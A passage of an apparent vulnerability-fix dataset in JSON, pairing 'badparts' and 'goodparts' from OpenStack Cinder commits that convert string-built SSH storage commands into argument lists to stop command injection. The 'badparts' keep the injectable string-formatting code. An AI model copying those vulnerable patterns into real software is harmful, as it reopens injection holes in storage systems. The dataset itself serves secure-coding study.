"remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ssh_cmd.replace('mkvdiskhostmap',", " 'mkvdiskhostmap -force')"], "goodparts": [" for i in range(len(ssh_cmd)):", " if ssh_cmd[i] == 'mkvdiskhostmap':", " ssh_cmd.insert(i + 1, '-force')"]}, {"diff": "\n \n LOG.debug(_('enter: _delete_host: host %s ') % host_name)\n \n- ssh_cmd = 'svctask rmhost %s ' % host_name\n+ ssh_cmd = ['svctask', 'rmhost', host_name]\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from rmhost\n self._assert_ssh_return(len(out.strip()) == 0,\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svctask rmhost %s ' % host_name"], "goodparts": [" ssh_cmd = ['svctask', 'rmhost', host_name]"]}, {"diff": "\n \n def _get_conn_fc_wwpns(self, host_name):\n wwpns = []\n- cmd = 'svcinfo lsfabric -host %s' % host_name\n+ cmd = ['svcinfo', 'lsfabric', '-host', host_name]\n generator = self._port_conf_generator(cmd)\n header = next(generator, None)\n if not header:\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" cmd = 'svcinfo lsfabric -host %s' % host_name"], "goodparts": [" cmd = ['svcinfo', 'lsfabric', '-host', host_name]"]}, {"diff": "\n # Check if vdisk-host mapping exists, remove if it does\n mapping_data = self._get_hostvdisk_mappings(host_name)\n if vol_name in mapping_data:\n- ssh_cmd = 'svctask rmvdiskhostmap -host %s %s' % \\\n- (host_name, vol_name)\n+ ssh_cmd = ['svctask', 'rmvdiskhostmap', '-host', host_name,\n+ vol_name]\n out, err = self._run_ssh(ssh_cmd)\n # Verify CLI behaviour - no output is returned from\n # rmvdiskhostmap\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svctask rmvdiskhostmap -host %s %s' % \\", " (host_name, vol_name)"], "goodparts": [" ssh_cmd = ['svctask', 'rmvdiskhostmap', '-host', host_name,", " vol_name]"]}, {"diff": "\n parsed/matched to a single vdisk.\n \"\"\"\n \n- ssh_cmd = 'svcinfo lsvdisk -bytes -delim ! %s ' % vdisk_name\n+ ssh_cmd = ['svcinfo', 'lsvdisk', '-bytes', '-delim', '!', vdisk_name]\n return self._execute_command_and_parse_attributes(ssh_cmd)\n \n def _get_vdisk_fc_mappings(self, vdisk_name):\n \"\"\"Return FlashCopy mappings that this vdisk is associated with.\"\"\"\n \n- ssh_cmd = 'svcinfo lsvdiskfcmappings -nohdr %s' % vdisk_name\n+ ssh_cmd = ['svcinfo', 'lsvdiskfcmappings', '-nohdr', vdisk_name]\n out, err = self._run_ssh(ssh_cmd)\n \n mapping_ids = []\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsvdisk -bytes -delim ! %s ' % vdisk_name", " ssh_cmd = 'svcinfo lsvdiskfcmappings -nohdr %s' % vdisk_name"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsvdisk', '-bytes', '-delim', '!', vdisk_name]", " ssh_cmd = ['svcinfo', 'lsvdiskfcmappings', '-nohdr', vdisk_name]"]}, {"diff": "\n LOG.debug(_('enter: _create_vdisk: vdisk %s ') % name)\n \n model_update = None\n- autoex = '-autoexpand' if opts['autoexpand'] else ''\n- easytier = '-easytier on' if opts['easytier'] else '-easytier off'\n+ easytier = 'on' if opts['easytier'] else 'off'\n \n # Set space-efficient options\n if opts['rsize'] == -1:\n- ssh_cmd_se_opt = ''\n+ ssh_cmd_se_opt = []\n else:\n- ssh_cmd_se_opt = (\n- '-rsize %(rsize)d%% %(autoex)s -warning %(warn)d%%' %\n- {'rsize': opts['rsize'],\n- 'autoex': autoex,\n- 'warn': opts['warning']})\n+ ssh_cmd_se_opt = ['-rsize', '%s%%' % str(opts['rsize']),\n+ '-autoexpand', '-warning',\n+ '%s%%' % str(opts['warning'])]\n+ if not opts['autoexpand']:\n+ ssh_cmd_se_opt.remove('-autoexpand')\n+\n if opts['compression']:\n- ssh_cmd_se_opt = ssh_cmd_se_opt + ' -compressed'\n+ ssh_cmd_se_opt.append('-compressed')\n else:\n- ssh_cmd_se_opt = ssh_cmd_se_opt + (\n- ' -grainsize %d' % opts['grainsize'])\n-\n- ssh_cmd = ('svctask mkvdisk -name %(name)s -mdiskgrp %(mdiskgrp)s '\n- '-iogrp 0 -size %(size)s -unit '\n- '%(unit)s %(easytier)s %(ssh_cmd_se_opt)s'\n- % {'name': name,\n- 'mdiskgrp': self.configuration.storwize_svc_volpool_name,\n- 'size': size, 'unit': units, 'easytier': easytier,\n- 'ssh_cmd_se_opt': ssh_cmd_se_opt})\n+ ssh_cmd_se_opt.extend(['-grainsize', str(opts['grainsize'])])\n+\n+ ssh_cmd = ['svctask', 'mkvdisk', '-name', name, '-mdiskgrp',\n+ self.configuration.storwize_svc_volpool_name,\n+ '-iogrp', '0', '-size', size, '-unit',\n+ units, '-easytier', easytier] + ssh_cmd_se_opt\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), '_create_vdisk',\n ssh_cmd, out, err)\n", "add": 15, "remove": 19, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" autoex = '-autoexpand' if opts['autoexpand'] else ''", " easytier = '-easytier on' if opts['easytier'] else '-easytier off'", " ssh_cmd_se_opt = ''", " ssh_cmd_se_opt = (", " '-rsize %(rsize)d%% %(autoex)s -warning %(warn)d%%' %", " {'rsize': opts['rsize'],", " 'autoex': autoex,", " 'warn': opts['warning']})", " ssh_cmd_se_opt = ssh_cmd_se_opt + ' -compressed'", " ssh_cmd_se_opt = ssh_cmd_se_opt + (", " ' -grainsize %d' % opts['grainsize'])", " ssh_cmd = ('svctask mkvdisk -name %(name)s -mdiskgrp %(mdiskgrp)s '", " '-iogrp 0 -size %(size)s -unit '", " '%(unit)s %(easytier)s %(ssh_cmd_se_opt)s'", " % {'name': name,", " 'mdiskgrp': self.configuration.storwize_svc_volpool_name,", " 'size': size, 'unit': units, 'easytier': easytier,", " 'ssh_cmd_se_opt': ssh_cmd_se_opt})"], "goodparts": [" easytier = 'on' if opts['easytier'] else 'off'", " ssh_cmd_se_opt = []", " ssh_cmd_se_opt = ['-rsize', '%s%%' % str(opts['rsize']),", " '-autoexpand', '-warning',", " '%s%%' % str(opts['warning'])]", " if not opts['autoexpand']:", " ssh_cmd_se_opt.remove('-autoexpand')", " ssh_cmd_se_opt.append('-compressed')", " ssh_cmd_se_opt.extend(['-grainsize', str(opts['grainsize'])])", " ssh_cmd = ['svctask', 'mkvdisk', '-name', name, '-mdiskgrp',", " self.configuration.storwize_svc_volpool_name,", " '-iogrp', '0', '-size', size, '-unit',", " units, '-easytier', easytier] + ssh_cmd_se_opt"]}, {"diff": "\n LOG.debug(_('leave: _create_vdisk: volume %s ') % name)\n \n def _make_fc_map(self, source, target, full_copy):\n- copyflag = '' if full_copy else '-copyrate 0'\n- fc_map_cli_cmd = ('svctask mkfcmap -source %(src)s -target %(tgt)s '\n- '-autodelete %(copyflag)s' %\n- {'src': source,\n- 'tgt': target,\n- 'copyflag': copyflag})\n+ fc_map_cli_cmd = ['svctask', 'mkfcmap', '-source', source, '-target',\n+ target, '-autodelete']\n+ if not full_copy:\n+ fc_map_cli_cmd.extend(['-copyrate', '0'])\n out, err = self._run_ssh(fc_map_cli_cmd)\n self._driver_assert(\n len(out.strip()),\n", "add": 4, "remove": 6, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" copyflag = '' if full_copy else '-copyrate 0'", " fc_map_cli_cmd = ('svctask mkfcmap -source %(src)s -target %(tgt)s '", " '-autodelete %(copyflag)s' %", " {'src': source,", " 'tgt': target,", " 'copyflag': copyflag})"], "goodparts": [" fc_map_cli_cmd = ['svctask', 'mkfcmap', '-source', source, '-target',", " target, '-autodelete']", " if not full_copy:", " fc_map_cli_cmd.extend(['-copyrate', '0'])"]}, {"diff": "\n \n def _call_prepare_fc_map(self, fc_map_id, source, target):\n try:\n- out, err = self._run_ssh('svctask prestartfcmap %s' % fc_map_id)\n+ out, err = self._run_ssh(['svctask', 'prestartfcmap', fc_map_id])\n except exception.ProcessExecutionError as e:\n with excutils.save_and_reraise_exception():\n LOG.error(_('_prepare_fc_map: Failed to prepare FlashCopy '\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" out, err = self._run_ssh('svctask prestartfcmap %s' % fc_map_id)"], "goodparts": [" out, err = self._run_ssh(['svctask', 'prestartfcmap', fc_map_id])"]}, {"diff": "\n \n def _start_fc_map(self, fc_map_id, source, target):\n try:\n- out, err = self._run_ssh('svctask startfcmap %s' % fc_map_id)\n+ out, err = self._run_ssh(['svctask', 'startfcmap', fc_map_id])\n except exception.ProcessExecutionError as e:\n with excutils.save_and_reraise_exception():\n LOG.error(_('_start_fc_map: Failed to start FlashCopy '\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" out, err = self._run_ssh('svctask startfcmap %s' % fc_map_id)"], "goodparts": [" out, err = self._run_ssh(['svctask', 'startfcmap', fc_map_id])"]}, {"diff": "\n LOG.debug(_('enter: _get_flashcopy_mapping_attributes: mapping %s')\n % fc_map_id)\n \n- fc_ls_map_cmd = 'svcinfo lsfcmap -filtervalue id=%s -delim !' % \\\n- fc_map_id\n+ fc_ls_map_cmd = ['svcinfo', 'lsfcmap', '-filtervalue',\n+ 'id=%s' % fc_map_id, '-delim', '!']\n out, err = self._run_ssh(fc_ls_map_cmd)\n if not len(out.strip()):\n return None\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" fc_ls_map_cmd = 'svcinfo lsfcmap -filtervalue id=%s -delim !' % \\", " fc_map_id"], "goodparts": [" fc_ls_map_cmd = ['svcinfo', 'lsfcmap', '-filtervalue',", " 'id=%s' % fc_map_id, '-delim', '!']"]}, {"diff": "\n if source == name:\n if not allow_snaps:\n return False\n- ssh_cmd = ('svctask chfcmap -copyrate 50 '\n- '-autodelete on %s' % map_id)\n+ ssh_cmd = ['svctask', 'chfcmap', '-copyrate', '50',\n+ '-autodelete', 'on', map_id]\n out, err = self._run_ssh(ssh_cmd)\n wait_for_copy = True\n # Case #3: A snapshot\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask chfcmap -copyrate 50 '", " '-autodelete on %s' % map_id)"], "goodparts": [" ssh_cmd = ['svctask', 'chfcmap', '-copyrate', '50',", " '-autodelete', 'on', map_id]"]}, {"diff": "\n {'name': name, 'src': source, 'tgt': target})\n self._driver_assert(target == name, msg)\n if status in ['copying', 'prepared']:\n- self._run_ssh('svctask stopfcmap %s' % map_id)\n+ self._run_ssh(['svctask', 'stopfcmap', map_id])\n elif status in ['stopping', 'preparing']:\n wait_for_copy = True\n else:\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'rmfcmap', '-force',\n+ map_id])\n # Case 4: Copy in progress - wait and will autodelete\n else:\n if status == 'prepared':\n- self._run_ssh('svctask stopfcmap %s' % map_id)\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'stopfcmap', map_id])\n+ self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])\n elif status == 'idle_or_copied':\n # Prepare failed\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])\n else:\n wait_for_copy = True\n if wait_for_copy:\n", "add": 6, "remove": 5, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" self._run_ssh('svctask stopfcmap %s' % map_id)", " self._run_ssh('svctask rmfcmap -force %s' % map_id)", " self._run_ssh('svctask stopfcmap %s' % map_id)", " self._run_ssh('svctask rmfcmap -force %s' % map_id)", " self._run_ssh('svctask rmfcmap -force %s' % map_id)"], "goodparts": [" self._run_ssh(['svctask', 'stopfcmap', map_id])", " self._run_ssh(['svctask', 'rmfcmap', '-force',", " map_id])", " self._run_ssh(['svctask', 'stopfcmap', map_id])", " self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])", " self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])"]}, {"diff": "\n \n self._ensure_vdisk_no_fc_mappings(name)\n \n- forceflag = '-force' if force else ''\n- cmd_params = {'frc': forceflag, 'name': name}\n- ssh_cmd = 'svctask rmvdisk %(frc)s %(name)s' % cmd_params\n+ ssh_cmd = ['svctask', 'rmvdisk', '-force', name]\n+ if not force:\n+ ssh_cmd.remove('-force')\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from rmvdisk\n self._assert_ssh_return(len(out.strip()) == 0,\n", "add": 3, "remove": 3, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" forceflag = '-force' if force else ''", " cmd_params = {'frc': forceflag, 'name': name}", " ssh_cmd = 'svctask rmvdisk %(frc)s %(name)s' % cmd_params"], "goodparts": [" ssh_cmd = ['svctask', 'rmvdisk', '-force', name]", " if not force:", " ssh_cmd.remove('-force')"]}, {"diff": "\n raise exception.VolumeBackendAPIException(data=exception_message)\n \n extend_amt = int(new_size) - volume['size']\n- ssh_cmd = ('svctask expandvdisksize -size %(amt)d -unit gb %(name)s'\n- % {'amt': extend_amt, 'name': volume['name']})\n+ ssh_cmd = (['svctask', 'expandvdisksize', '-size', str(extend_amt),\n+ '-unit', 'gb', volume['name']])\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from expandvdisksize\n self._assert_ssh_return(len(out.strip()) == 0, 'extend_volume',\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask expandvdisksize -size %(amt)d -unit gb %(name)s'", " % {'amt': extend_amt, 'name': volume['name']})"], "goodparts": [" ssh_cmd = (['svctask', 'expandvdisksize', '-size', str(extend_amt),", " '-unit', 'gb', volume['name']])"]}, {"diff": "\n \n pool = self.configuration.storwize_svc_volpool_name\n #Get storage system name\n- ssh_cmd = 'svcinfo lssystem -delim !'\n+ ssh_cmd = ['svcinfo', 'lssystem', '-delim', '!']\n attributes = self._execute_command_and_parse_attributes(ssh_cmd)\n if not attributes or not attributes['name']:\n exception_message = (_('_update_volume_stats: '\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lssystem -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lssystem', '-delim', '!']"]}, {"diff": "\n backend_name = '%s_%s' % (attributes['name'], pool)\n data['volume_backend_name'] = backend_name\n \n- ssh_cmd = 'svcinfo lsmdiskgrp -bytes -delim ! %s' % pool\n+ ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-bytes', '-delim', '!', pool]\n attributes = self._execute_command_and_parse_attributes(ssh_cmd)\n if not attributes:\n LOG.error(_('Could not get pool data from the storage'))\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsmdiskgrp -bytes -delim ! %s' % pool"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-bytes', '-delim', '!', pool]"]}, {"diff": "\n self._stats = data\n \n def _port_conf_generator(self, cmd):\n- ssh_cmd = '%s -delim !' % cmd\n+ ssh_cmd = cmd + ['-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = '%s -delim !' % cmd"], "goodparts": [" ssh_cmd = cmd + ['-delim', '!']"]}, {"diff": "\n \"\"\"\n \n LOG.debug(_('enter: _execute_command_and_parse_attributes: '\n- ' command %s') % ssh_cmd)\n+ ' command %s') % str(ssh_cmd))\n \n try:\n out, err = self._run_ssh(ssh_cmd)\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ' command %s') % ssh_cmd)"], "goodparts": [" ' command %s') % str(ssh_cmd))"]}, {"diff": "\n LOG.debug(_('leave: _execute_command_and_parse_attributes:\\n'\n 'command: %(cmd)s\\n'\n 'attributes: %(attr)s')\n- % {'cmd': ssh_cmd,\n+ % {'cmd': str(ssh_cmd),\n 'attr': str(attributes)})\n \n return attributes\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" % {'cmd': ssh_cmd,"], "goodparts": [" % {'cmd': str(ssh_cmd),"]}]}}, "msg": "Tidy up the SSH call to avoid injection attacks in storwize_svc\n\nLet the command and arguments form up a list and avoid the extra arguments\nattackers inserted to the command string\n\nfix bug 1192971\n\nChange-Id: I57b3fe60e64d9d0dc1ea9a18442c877be2ceece3"}, "c55589b131828f3a595903f6796cb2d0babb772f": {"url": "https://api.github.com/repos/tlakshman26/cinder-https-changes/commits/c55589b131828f3a595903f6796cb2d0babb772f", "html_url": "https://github.com/tlakshman26/cinder-https-changes/commit/c55589b131828f3a595903f6796cb2d0babb772f", "sha": "c55589b131828f3a595903f6796cb2d0babb772f", "keyword": "command injection attack", "diff": "diff --git a/cinder/tests/test_hp3par.py b/cinder/tests/test_hp3par.py\nindex a226beeb9..6778a326b 100644\n--- a/cinder/tests/test_hp3par.py\n+++ b/cinder/tests/test_hp3par.py\n@@ -725,11 +725,12 @@ def test_create_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '\n- 'fakehost 123456789012345 123456789054321')\n+ create_host_cmd = (['createhost', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost', '123456789012345',\n+ '123456789054321'])\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n _run_ssh(show_host_cmd, False).AndReturn([pack(FC_HOST_RET), ''])\n@@ -750,16 +751,17 @@ def test_create_invalid_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '\n- 'fakehost 123456789012345 123456789054321')\n+ create_host_cmd = (['createhost', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost', '123456789012345',\n+ '123456789054321'])\n create_host_ret = pack(CLI_CR +\n 'already used by host fakehost.foo (19)')\n _run_ssh(create_host_cmd, False).AndReturn([create_host_ret, ''])\n \n- show_3par_cmd = 'showhost -verbose fakehost.foo'\n+ show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']\n _run_ssh(show_3par_cmd, False).AndReturn([pack(FC_SHOWHOST_RET), ''])\n self.mox.ReplayAll()\n \n@@ -779,14 +781,14 @@ def test_create_modify_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(NO_FC_HOST_RET), ''])\n \n- create_host_cmd = ('createhost -add fakehost '\n- '123456789012345 123456789054321')\n+ create_host_cmd = ['createhost', '-add', 'fakehost', '123456789012345',\n+ '123456789054321']\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(FC_HOST_RET), ''])\n self.mox.ReplayAll()\n \n@@ -918,12 +920,12 @@ def test_create_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -iscsi -persona 1 -domain '\n- '(\\'OpenStack\\',) '\n- 'fakehost iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222'])\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_HOST_RET), ''])\n@@ -944,16 +946,16 @@ def test_create_invalid_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -iscsi -persona 1 -domain '\n- '(\\'OpenStack\\',) '\n- 'fakehost iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222'])\n in_use_ret = pack('\\r\\nalready used by host fakehost.foo ')\n _run_ssh(create_host_cmd, False).AndReturn([in_use_ret, ''])\n \n- show_3par_cmd = 'showhost -verbose fakehost.foo'\n+ show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']\n _run_ssh(show_3par_cmd, False).AndReturn([pack(ISCSI_3PAR_RET), ''])\n self.mox.ReplayAll()\n \n@@ -973,11 +975,11 @@ def test_create_modify_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_NO_HOST_RET), ''])\n \n- create_host_cmd = ('createhost -iscsi -add fakehost '\n- 'iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = ['createhost', '-iscsi', '-add', 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222']\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_HOST_RET), ''])\n self.mox.ReplayAll()\n@@ -993,14 +995,14 @@ def test_get_ports(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI),\n ''])\n self.mox.ReplayAll()\n@@ -1017,14 +1019,14 @@ def test_get_iscsi_ip_active(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n self.mox.ReplayAll()\n@@ -1038,7 +1040,7 @@ def test_get_iscsi_ip_active(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_vlun_cmd = 'showvlun -a -host fakehost'\n+ show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN), ''])\n \n self.mox.ReplayAll()\n@@ -1054,21 +1056,21 @@ def test_get_iscsi_ip(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n #record\n- show_vlun_cmd = 'showvlun -a -host fakehost'\n+ show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']\n show_vlun_ret = 'no vluns listed\\r\\n'\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(show_vlun_ret), ''])\n- show_vlun_cmd = 'showvlun -a -showcols Port'\n+ show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n \n self.mox.ReplayAll()\n@@ -1089,14 +1091,14 @@ def test_invalid_iscsi_ip(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n config = self.setup_configuration()\n@@ -1118,7 +1120,7 @@ def test_get_least_used_nsp(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_vlun_cmd = 'showvlun -a -showcols Port'\n+ show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\ndiff --git a/cinder/volume/drivers/san/hp/hp_3par_common.py b/cinder/volume/drivers/san/hp/hp_3par_common.py\nindex 216b8da31..36f693421 100644\n--- a/cinder/volume/drivers/san/hp/hp_3par_common.py\n+++ b/cinder/volume/drivers/san/hp/hp_3par_common.py\n@@ -188,7 +188,7 @@ def _set_connections(self):\n The 3PAR WS API server has a limit of concurrent connections.\n This is setting the number to the highest allowed, 15 connections.\n \"\"\"\n- self._cli_run(\"setwsapi -sru high\", None)\n+ self._cli_run(['setwsapi', '-sru', 'high'])\n \n def get_domain(self, cpg_name):\n try:\n@@ -213,8 +213,7 @@ def extend_volume(self, volume, new_size):\n LOG.debug(\"Extending Volume %s from %s to %s, by %s GB.\" %\n (volume_name, old_size, new_size, growth_size))\n try:\n- self._cli_run(\"growvv -f %s %sg\" % (volume_name, growth_size),\n- None)\n+ self._cli_run(['growvv', '-f', volume_name, '%dg' % growth_size])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_(\"Error extending volume %s\") % volume)\n@@ -272,17 +271,8 @@ def _capacity_from_size(self, vol_size):\n capacity = int(round(capacity / MiB))\n return capacity\n \n- def _cli_run(self, verb, cli_args):\n+ def _cli_run(self, cmd):\n \"\"\"Runs a CLI command over SSH, without doing any result parsing.\"\"\"\n- cli_arg_strings = []\n- if cli_args:\n- for k, v in cli_args.items():\n- if k == '':\n- cli_arg_strings.append(\" 